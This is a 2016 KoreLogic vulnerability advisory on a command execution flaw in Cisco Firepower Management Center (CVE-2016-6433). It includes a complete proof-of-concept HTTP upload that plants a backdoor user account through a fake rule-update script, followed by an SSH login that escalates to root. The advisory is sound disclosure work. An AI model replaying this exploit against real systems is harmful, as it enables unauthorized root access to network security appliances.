KL-001-2016-007 : Cisco Firepower Threat Management Console Remote Command Execution Leading to Root Access Title: Cisco Firepower Threat Management Console Remote Command Execution Leading to Root Access Advisory ID: KL-001-2016-007 Publication Date: 2016.10.05 Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2016-007.txt 1. Vulnerability Details Affected Vendor: Cisco Affected Product: Firepower Threat Management Console Affected Version: Cisco Fire Linux OS 6.0.1 (build 37/build 1213) Platform: Embedded Linux CWE Classification: CWE-434: Unrestricted Upload of File with Dangerous Type, CWE-94: Improper Control of Generation of Code Impact: Arbitrary Code Execution Attack vector: HTTP CVE-ID: CVE-2016-6433 2. Vulnerability Description An authenticated user can run arbitrary system commands as the www user which leads to root. 3. Technical Description A valid session and CSRF token is required. The webserver runs as a non-root user which is permitted to sudo commands as root with no password. POST /DetectionPolicy/rules/rulesimport.cgi?no_mojo=1 HTTP/1.1 Host: 1.3.3.7 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br DNT: 1 Cookie: CGISESSID=4919a7838198009bba48f6233d0bd1c6 Connection: close Content-Type: multipart/form-data; boundary=---------------------------15519792567789791301241925798 Content-Length: 813 -----------------------------15519792567789791301241925798 Content-Disposition: form-data; name="manual_update" 1 -----------------------------15519792567789791301241925798 Content-Disposition: form-data; name="source" file -----------------------------15519792567789791301241925798 Content-Disposition: form-data; name="file"; filename="Sourcefire_Rule_Update-2016-03-04-001-vrt.sh" Content-Type: application/octet-stream sudo useradd -G ldapgroup -p `openssl passwd -1 korelogic` korelogic -----------------------------15519792567789791301241925798 Content-Disposition: form-data; name="action_submit" Import -----------------------------15519792567789791301241925798 Content-Disposition: form-data; name="sf_action_id" 8c6059ae8dbedc089877b16b7be2ae7f -----------------------------15519792567789791301241925798-- HTTP/1.1 200 OK Date: Sat, 23 Apr 2016 13:38:01 GMT Server: Apache Vary: Accept-Encoding X-Frame-Options: SAMEORIGIN Content-Length: 49998 Connection: close Content-Type: text/html; charset=utf-8 ... $ ssh korelogic@1.3.3.7 Password: Copyright 2004-2016, Cisco and/or its affiliates. All rights reserved. Cisco is a registered trademark of Cisco Systems, Inc. All other trademarks are property of their respective owners. Cisco Fire Linux OS v6.0.1 (build 37) Cisco Firepower Management Center for VMWare v6.0.1 (build 1213) Could not chdir to home directory /Volume/home/korelogic: No such file or directory korelogic@firepower:/$ sudo su - Password: root@firepower:~# 4. Mitigation and Remediation Recommendation The vendor has acknowledged this vulnerability but has not issued a fix. Vendor acknowledgement available at: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20161005-ftmc2 5. Credit This vulnerability was discovered by Matt Bergin (@thatguylevel) of KoreLogic, Inc. 6. Disclosure Timeline 2016.06.30 - KoreLogic sends vulnerability report and PoC to Cisco. 2016.06.30 - Cisco acknowledges receipt of vulnerability report. 2016.07.20 - KoreLogic and Cisco discuss remediation timeline for this vulnerability and for 3 others reported in the same product. 2016.08.12 - 30 business days have elapsed since the vulnerability was reported to Cisco. 2016.09.02 - 45 business days have elapsed since the vulnerability was reported to Cisco. 2016.09.09 - KoreLogic asks for an update on the status of the remediation efforts. 2016.09.15 - Cisco confirms remediation is underway and soon to be completed. 2016.09.28 - Cisco informs KoreLogic that the acknowledgement details will be released publicly on 2016.10.05. 2016.10.05 - Public disclosure. 7. Proof of Concept See Technical Description The contents of this advisory are copyright(c) 2016 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/ KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html Our public vulnerability disclosure policy is available at: https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt